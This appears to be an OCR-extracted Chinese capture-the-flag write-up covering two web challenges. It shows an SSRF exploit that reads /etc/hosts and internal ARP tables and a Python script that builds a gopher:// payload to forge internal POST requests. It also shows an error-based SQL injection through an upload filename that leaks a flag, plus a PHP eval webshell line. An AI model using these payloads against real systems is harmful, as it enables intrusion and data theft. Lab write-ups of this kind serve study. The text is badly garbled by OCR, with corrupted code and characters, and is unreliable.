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<?php
highlight_file(_ FILE_ );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ GET['url']);
curl_setopt($ch, CURLOPT_HEADER, ©);
curl_exec($ch);
curl_close($ch);
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file_get contents()
fsockopen()
curl_exec()
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highlight file(_FILE );

$ch = curl init();

curl_setopt(§ch, CURLOPT_URL, $_GET[ url']);

curl_setopt ($ch, CURLOPT_HEADER, 0);

curl_exec ($ch);

curl_close($ch) ;
?> 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00:0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-alinodes ff02::2 ip6-allrouters 172.73.23.21
b4bd966a1619
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s Load URL http://124.222.24 150:8091/?url=file:///etc/hosts
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curl setopt($ch, CURLOPT HEADER, 0):

curl exec ($ch) ;

curl_close($ch) ;
2> IP address HW type Flags HW address Mask Device 172.73.23.228 0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.2
172.73.23.241 0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.218 0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.231 0x1 O
0x0 00:00:00:00:00:00 * eth0 172.73.23.240 0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.213 0x1 0x0 00:00:00:00:00:(
* eth0 172.73.23.230 0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.203 Ox1 0x0 00:00:00:00:00:00 * eth0 172.73.23.24!
0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.252 0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.225 0x1 0x0 00:00:00:00
00:00:00:00:00:00 * eth0 172.73.23.242 0x1 0x0 00:00:00:00:00:00 * eth0 172.73.23.215 0x1 0x0 00:00:00:00:00:00 * .
ethO 172. 73 23 237 0)(1 0x0 00:00:00:00:00:00 * eth0 172. 73 23 214 0x1 0x0 00:00:00:00:00:00 * eth0 172. 73 23 254
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Request Payload Status Error Timeout Length Comment

21 21 200 3608
0 200 2294
100 100 200 2294
1 1 200 1913
2 2 200 1913
3 3 200 1913
4 4 200 1913
5 5 200 1913
6 6 200 1913
7 7 200 1913
8 8 200 1913
9 9 200 1913
10 10 200 1913
Request Response

Raw Hex Render \n =

HTTE/1.1 ZO0 OK

Date: Wed, 27 Apr ZO0OIZ 1Z:10:18 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHE/7.2.34

S Vary: Accept-Encoding

A Content-Tenath: 07/
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<?php
highlight file( FILE_ );
$ch = curl init();
curl setopt($ch, CURLOPT URL, $ GET['url'])
curl setopt($ch, CURLOPT HEADER, @);
curl _exec($ch);
curl close($ch);

2> %%ﬁG ET_/I\‘E'I CSDM @XiLitter

RNBE—Na, mEEEN.

<?php
highlight file( FILE_ );
$ch = curl init();
curl setopt($ch, CURLOPT URL, $ GET['url’']);
curl setopt($ch, CURLOPT HEADER, @);
curl _exec($ch);
curl close($ch);

> GET aﬂﬂﬁﬂifﬁ%@POST—’l\b CSDN @XiLitier




import urllib

import requests

import urllib.parse
url="http://124.222.24.150:20003?url="

POST =\

POST /?a=1 HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 3

X-Forwarded-For: 127.0.0.1

Referer: bolean.club

b=1

tmp =urllib.parse.quote(POST)

new =tmp.replace('%0A", '%OD%0OA")

result ='_"+new

result =urllib.parse.quote(result)
exp="'gopher://172.73.26.100:80/'+result
response=requests.get(url=url+exp).text
print(response)

B2 RGET a, POST b, #:#&ixE ikrefererAbolean.club. &R T XA (IRXIFBE T EEA KT,
ZHTRREMI SR, BUE—EHATRA00) XANHAHH 2] T ssriffi # figopherthil
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Gopher&Internet E—AMNEH B LHIEEBER RS, EwwwikEHIZ )G, E#EER T EHREE, K
WWWRZEARZ ), 7EFREER T B R Ehttp.

gopherth il 2 ¥ & HH GEtRIPOSTiE K, gopherthil&ssriF i H & 5a K.
gophertih i i ZE A 45 3R

gopher://ip:port_{tcp/ip##Ein} FEXANTRIZL_ (FRAEPATXAMHUE, XAEOBEERNE - N FEREAS
PEPATHY, TRAT—MA_RARE, M_tASHERHR
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result ='_"+new
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new =tmp.replace('%0A", '%0OD%0OA")
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Host: 124.2Z2.24.150:8001

User—Agent: Mozilla/5.0 (Windews NT 10.0;
Gecko/20100101 Firefox/99.0

! Accept:

text/html, application/xhtml+:ml, application/sml;gq=0.9, image/avif, image
/webp, */*;q=0.8

Accept-Language:

zh-CHN, zh; q=0.8, =h-TW; q=0.7, zh-HE; ¢=0.5, en-Us; q=0.3, en; q=0. 2
Accept-Encoding: gzip, deflats

Content-Type: multipart/form-data;
boundary=--------—-—---———-——-—-———-—— C27667518336261780222453943986
Content-Length: 295

Win&4; =&64; rv:99.0)

7 Origin: http://124.222.24.150:8001
) Connection: close
Referer: http://124.222.24.150:8001/

Upgrade-Insecurse-Requests: 1

————————————————————————————— 227667518336261780
Content-Disposition: form-data; nams="upfile”; filenams="
extractvalue(l, concat(0x7e, (select database()))) )#"”

ctf

2453943986

vjh.php"or

Content-Type:

<?@eval (§ POST["shell"]

2
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W W

@

s
o

Date: Wed, 27 Apr IZ0IZZ 13:49:IZ1 GMT
Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 472

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>
oooo
</title>
</head>
<body>
<form action=""
<input typ

method="post" enctype="multipart/form-data">
file" name="upfile">

<input type="submit" value="00">

</ form>
</body>

</html>
Error: insert into upload_file values('7d55dd35708dfd1bf4f152ebhllbelea
¥PATH syntax esrror: '~upload’

BRI T HE B N~upload (REEZ —AN) WRIETEHHKEFLEHKMASHRA) )
BERR, RWRLEHBALRK. M THRMERF T, HEF—Fhfllagk EfHflag¥ .

1 POST / HTTE/1.1
2 Heost: 1Z4.C22Z2.24.150:8001
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:99.0)

Gecko/20100101 Firefox/99.0

Accept:

text/html, application/sxhtml+:ml, application/ml;q=0.9, image/avif, image
fwebp, */*;q=0.8

Accept-Language:

zh-CHN, zh; q=0.8, zh-TW; q=0.7, zh-HE; q=0. 5, en-US; q=0. 3, =n; q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=-----—---—--—-—-—-——-—-—--—-————— 2Z766T7518336261780222453943986
Content-Length: 299
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S origin: http://124.222.24.150:8001

.0 Connection: close

.l Referer: http://124.I222.24.150:8001/

2 Upgrade-Insecure-Requests: 1

3

4 |- 2276675183362 61780222453943986

|5 Content-Disposition: form-data; name="upfile"”; filename="yih.php'or

extractvalus(l, concat(0x7e, (select flag from flag))))#"
Content-Type: otf

————————————————————————————— 227667518336261780222453 943986~
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HTTE/1.1 200 oK

Date: Wed, 27 Apr Z0ZZ 13:54:24 GMT
Server: Apache/Z2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 501

Connection: close

Content-Types: text/html; charsst=UTF-8

<IDOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>
aooo
</title>
</head>
<body>
<form action=""

methao post” enctyps="multipart/form-data™>
<input type="file" name="upfile">
<input type="submit" valus="00">
</ form>
</body>
</html>
Error: inssrt into upload file values('70£58efIZc9%ledde07£40e£57852320

XPATH syntax error: "~flag{5937a0b90b596693%ccd36929"
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